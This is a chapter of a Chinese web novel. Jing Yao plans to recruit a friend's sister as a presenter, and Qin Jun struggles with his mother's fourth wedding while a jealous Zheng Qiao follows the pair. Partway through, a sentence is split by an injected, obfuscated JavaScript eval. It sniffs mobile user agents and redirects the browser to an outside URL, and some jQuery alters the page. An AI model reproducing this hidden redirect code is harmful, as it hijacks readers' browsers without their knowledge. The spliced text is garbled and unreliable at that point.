景谣和齐潇禾在咖啡店汇合的时候,已经七点半了。
齐潇禾早已窝在角落的沙发座里,双目圆瞪佯怒道:“景谣!你个骗子!你说七点能到的!”
景谣:“诶嘿嘿……sorry啦。”
齐潇禾是景谣的本科校友,大学时两人是形影不离的上下铺和好友。作为京城土著,齐潇禾毕业后顺理成章回到家乡。
“摩卡和抹茶千层给你点好了,快坐下,交换情报!最近有什么八卦?”齐潇禾瞳孔里跳动着兴奋的光。
景谣瞬间来了精神:“还真有!有个巨恶心的!”
姐妹聚会配上小蛋糕,路过的狗都得脱层皮。
“我靠,恶俗啊……”齐潇禾听完咬着叉子感叹。
景谣身体前倾:“到你了!”
齐潇禾:“我最近没什么新八卦。”
“……”景谣目露凶光。
齐潇禾绞尽脑汁搜罗三秒后:“我妹从体制内辞职了算吗?中传毕业就进电视台那个。”
景谣:“比咱们小三四岁的那个吧,为什么啊?”
齐潇禾:“她说一眼就望到头,没意思,给我二叔气坏了。”
“哎……你等等!”景谣注意力突然集中,脑袋上方亮起一只灯泡,“在电视台,主持人?”
“主播还是主持人啊?我不知道怎么叫,差不多吧。我妹有气质,可漂亮了。”齐潇禾语气难掩自豪。
景谣:“那是不是能在网上查到她啊?”
齐潇禾:“那肯定能啊,一个单字,‘敬祝时祺’……就是‘祺贵人’的‘祺’。”
“姓什么啊?瓜尔佳氏?”景谣只是故意幽一小默。
“……”换来齐潇禾幽冷犀利的眼神。
“哦哦,姓齐,齐祺。”看来并不好笑,失败了。
视频里的女孩身姿挺拔如笋,气质清冷而不失亲和,眉眼坚韧,笑容舒展。
齐祺——景谣默念,从长相、气质到名字都契合得恰到好处。
“给我引荐一下呗!”终于让景谣也寻到宝贝了。
齐潇禾:“你那缺人啊?”
景谣:“缺个出镜录制的。”
“不一直是你录的吗?”齐潇禾不解。
“所以我这不积极寻找合适的能接替我的人呢吗?不对,你妹不是接替我,”景谣夸张地捂住心口,“是全方位碾压我,我需要她,我爱她!”
齐潇禾:“行吧,我只负责介绍啊,你们见面自己谈。”
“你太好了小禾儿,你就是我的福星。”景谣紧紧搂住齐潇禾,在她肩头撒娇地蹭了蹭。
从下班放松局一直进行到闺蜜夜话,景谣到家已经十点了,刚洗漱完毕,好像听到了似有若无的叩门声。
景谣一开门,只见秦峻笑得苦涩。
“有事儿跟你说。”秦峻声音听着有气无力的。
景谣:“怎么不在手机上说?进屋啊,别把蚊子放进来。”
秦峻带上门,就站在进门地毯处,没再往里走,懒散地倚在门框上:“走过来五秒,发微信你五十分钟都不带看的。”
“哪有,我正拿着手机呢,五毫秒就能回你。怎么了?”景谣紧张了起来。
“唉……”他欲言又止,叹气沉肩,继续讲道,“我妈邀请你参加她婚礼,在江城办,要是在临海我就不叫你了。”
“……好,哪天啊?”景谣一怔,隐约记得上次秦峻妈妈办婚礼也就三四年前,这幸福怎么还总来敲门呢?“没事,就算在临海我肯定也去。”
秦峻:“后天。”
景谣:“啊?你也才知道?”
“嗯……”秦峻掐着眉心,无奈道。
景谣故意用很平常的语气催促:“那赶紧订机票啊,正好这两天也不怎么忙,我陪你去。”
秦峻点头。
景谣看着秦峻这幅颓然的样子,心里不是滋味,想转移个话题:“哎对了,你做好准备啊,可能有人要追你。”
“你别!你对我的感情变质了?我劝你及时止损啊,我不忍心拒绝你。”秦峻强撑着开玩笑。
景谣:“去你的……反正就是有那么个人,你留意一下,好好感受感受呗。”
“谁啊?”秦峻随口一问,看起来并不像真的好奇。
景谣:“那我肯定不能说啊。”
“你才准备好吧,也有人要追你。”秦峻戏谑地把“也”字咬重,意味深长地往隔壁方向看。
景谣秒懂他的意思,食指戳向他鼻梁,压低嗓音警告:“你闭嘴啊!秦峻,你再这么说一次,信不信我马上就让他滚蛋。”
秦峻:“他滚蛋了钱就滚蛋了,那还不如我滚蛋。我错了,不说了不说了。”
“哎,还有个事儿。”景谣面露难色,“我是真的不擅长上镜说话,还是想找个播音主持专业的,我坚持到第三季度结束好吧?主要是呢,我想把以后的重心放在课程打磨和渠道拓展上,你们技术端这么强,我转化这边也不能掉链子啊。”
秦峻:“找呗。”
“小禾儿她妹是中传的,现在在京城,刚辞职。要是她能来,不仅能录课,还能直播。可漂亮了,叫齐祺,能在网上查到,完全是女明星级别。线上线下我都有新想法。线上我想试试用齐祺打造个人IP,然后郑玥那边给我介绍了一个北师大的教授,引入教育科技顾问,这样专家背书加达人传播。等线上完全把我解放出来,我就能全身心放在线下了,线下搞场景化体验营销,比如在科技馆、天文馆设置AR互动体验区,或者在亲子流量高的地方做快闪店试试,咱现在也是能烧点小钱了。”
“太牛了景总,还得是你,你是领头羊,你是擎天柱。”秦峻拇指朝天,嘴角向下,一脸佩服。
“净说点没用的……”景谣对秦峻给出的情绪价值很受用,但还是假装嫌弃地翻个白眼。
秦峻眉毛拧成波浪线:“但人家‘女明星’能来咱这小庙吗?”
景谣:“试试呗,不行就不行喽。而且现在可不是小庙啊,起码算中小型庙吧。”
秦峻又疲惫地笑笑:“好,交给你了,我回去了。”
*
闷热的七月末,江城酒店水晶灯下,秦峻妈妈的婚礼如期举行。
秦峻妈妈三次婚姻更迭,如今这场婚宴已是第四次
秦峻挂着僵硬的笑周旋在宾客之间,脊背挺得笔直,可景谣分明看见他垂在身侧的手指反复蜷起又松开。
景谣望着宴会厅穹顶折射的光斑,记忆漫溯回往昔。
从她记事起,秦峻的爸爸就不在了。景谣父母和秦峻爸爸是少时好友,便顺其自
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16375487|184031||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
然地认了秦峻当干儿子,于是秦峻和景谣从小一起长大。
秦峻高中的时候,他妈妈在临海买了一套房子,记在了他名下,之后母子俩便很少在一起住。
从此就像道无形的分隔线,将少年困在空荡荡的房间里。
还好有景谣妈妈定期上门打扫,景谣也常带着零食和游戏突袭,把冷清的屋子搅得热气腾腾。
返程航班舷窗外,云层翻涌如浪。
秦峻一言不发,景谣目光不自觉地频频瞥向他。
“我没事,你别这么想。”秦峻突然开口。
景谣:“?”
秦峻强扯的嘴角挂着破碎的笑意:“你心里想什么我都能听见,你刚才想‘他看起来不太好,我该怎么安慰他呢?’对吧?”
景谣喉咙里像堵着团浸了水的棉花。
“我真没事,谣,别这么看着我,我已经很幸运了。我妈供我留学,给我钱创业,还给我在临海买了套房,她办场婚礼又怎么了?刚才来机场前,她小声跟我说,‘妈觉得这回真的会幸福了’,我听了……确实有点难受。”沙哑的嗓音突然发颤,他别过脸去,“把我养大不容易,永远都是儿子欠妈的。我希望她幸福。”
景谣眼眶发烫,还是不知道说什么,在秦峻腿上不轻不重地锤了一下。
“而且我还有干爸干妈呢,”秦峻吸了吸鼻子,转头表情如常,“趁暑假之前人还不算太多,让干爸干妈来京城玩几天呗。”
景谣:“行,一会儿下飞机我就问问他俩。今天你忙前忙后的辛苦了,睡一会儿吧。”
“嗐,一点也不辛苦。”秦峻闭上眼,喉结翻动,眉头微微皱了一下。在机舱昏暗的灯光下,勾勒出一道酸涩的剪影。
“峻”,意为山高而陡。
逢山,那便开路。
安之若素,直至走到温澜潮生。
*
上周五离开前,秦峻只说了周末不回来住,原因倒是不用跟郑峤细讲,也没忘嘱咐郑峤要按时吃饭。
听到秦峻的叮嘱,郑峤反而憋闷起来。
阔别三载重逢,再见面后相处这么久了,他的谣谣姐竟然一句都没有关心过他。
又到周一,郑峤觉得事情开始不对劲了。
他先是发现秦峻的工位上有几张糖纸,虽然撕得不完整了,但还能看出来红色的底色和烫金的“囍”字。
接着郑峤又留意到,景谣也从包里掏出类似款式的糖吃。
最后给郑峤当头一棒的是——某天早上他趁秦峻在厨房做早餐,偷偷溜进秦峻的卧室,发现摊开的行李箱里有三个完整的喜糖盒子!
郑峤简直不敢细想,连着往后好几天都魂不守舍。
这天,景谣和秦峻又一起提前下班。
郑峤拜托同事接替一下他手中的工作,打了辆车尾随。
两人先来到一个酒店,接出来两位中年人,郑峤猜测是景谣的父母。随后又上车,来到了一个中式餐厅,进了包间。
郑峤跟至包间门口,可一想到里面是景谣的父母,又想起自己做过的混帐事情……
不自觉按了按自己虚闷空拧的心口。
追悔莫及,自食其果。
郑峤最终还是没有勇气再上前,只记了门牌号,去前台充了张会员卡后匆匆离开了。